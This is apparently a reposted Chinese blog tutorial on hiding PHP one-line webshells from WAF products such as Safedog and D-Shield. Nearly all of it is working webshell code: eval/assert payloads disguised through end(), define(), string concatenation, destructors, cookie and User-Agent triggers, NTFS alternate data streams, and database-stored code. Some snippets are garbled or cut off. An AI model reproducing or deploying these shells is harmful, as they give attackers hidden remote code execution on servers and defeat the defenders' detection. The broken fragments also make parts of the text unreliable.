一句话木马绕WAF(小宇特详解)

webshell绕过WAF

常见的PHP一句话木马就是

 eval($_REQUEST['a'];)?>

WAF的工作原理以正则匹配为主,这里尝试他到底是正则匹配了什么

这里首先尝试

 eval?>

发现没有拦截

然后尝试

 <?php eval($_REQUEST[]);?>

发现拦截了,去掉中括号,发现不拦截了。

这里过滤了[]

=>替换eval 替换$_REQUEST[a]=>超全局变量

这里利用了一个php函数end

end函数:输出数组中的当前元素和最后一个元素的值

这里payload:

 eval(end($_REQUEST));?>

还可以用其他的绕过方法

 define("a","$_REQUEST[a]");eval(a);?>

define 是定义了一个常量然后将常量放到eval中执行。

还可以利用字符串拼接+双美元符号:


$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST[a]);//$$X就相当于$funcName=>assert($_REQUEST[a])
?>

通过函数定义强行分割


构造方法_destruct

在一个对象被销毁的时候会自动调用的方法

通过类定义,然后传参强行分割

name");//$this->name 是定义了一个变量是name,但是name没有值
}
}
$user = new User;
$user->name=".$REQUEST['1'];//将变量name进行赋值
?>

像D盾这种大多都需要反序列化类来过

多方式传参免杀


$COOKIE=$_COOKIE;//获取COOKIE传参,是数组的形式
foreach($COOKIE as $key =>$value){//进行了键值分离,相当于$key=a $value=1
if($key=='assert'){
$key($_REQUEST['a']);
}
}
?>

这里有触发的条件,这里需要在浏览器的cookie中加入assert才会运行。


$a=get_defined_functions();//显示出所有的php支持的函数,而且是以二维数组的形式出现
$a['internal'][841]($_REQUEST['1']);
//这里的$a[internal][841]相当于是assert,这里要用中括号括住两个才能是arrert,其中[841]是assert的对应的值,而['internal']是固定的。
?>

还可以用if语句来进行规避

 
if($_SERVER['HTTP_USER_AGENT']==='1'){//这里获取了请求头url里的传参
eval(end($_REQUEST));}
?>

这里怎么传马呢。这里使用bp抓包直接把传文当中的User-Agent改为1即可

这里再讲一个终极手法

NTFS文件流

先在windows系统上的cmd上写上

echo"$_REQUEST[a])?>">>/:123.txt

这样会生成一个123.txt文件,但是是不会显示出来的。

然后写一个php去调用这个文件即可

 include('/:123.txt')?>

这种方法区绕过安全狗是没有报错的,但是D盾是会有一个疑似引用。

还有一种方法是利用自己的数据库来进行连接从而访问到恶意语句


eval(mysqli_fetch_assoc(mysql_query(mysqli_connect('127.0.0.1','root','maoshe'),'select * from info'))['info']);
?>

这里的原理就是mysqli_fetch_assoc获取数据库中一行的内容,然后连接了本地的数据库里面的内容,内容为eval($_REQUEST[a])

这里必须加eval,上一个eval是执行数据库语句的。

以上就是一句话木马的绕WAF。

你可能感兴趣的:(waf,web)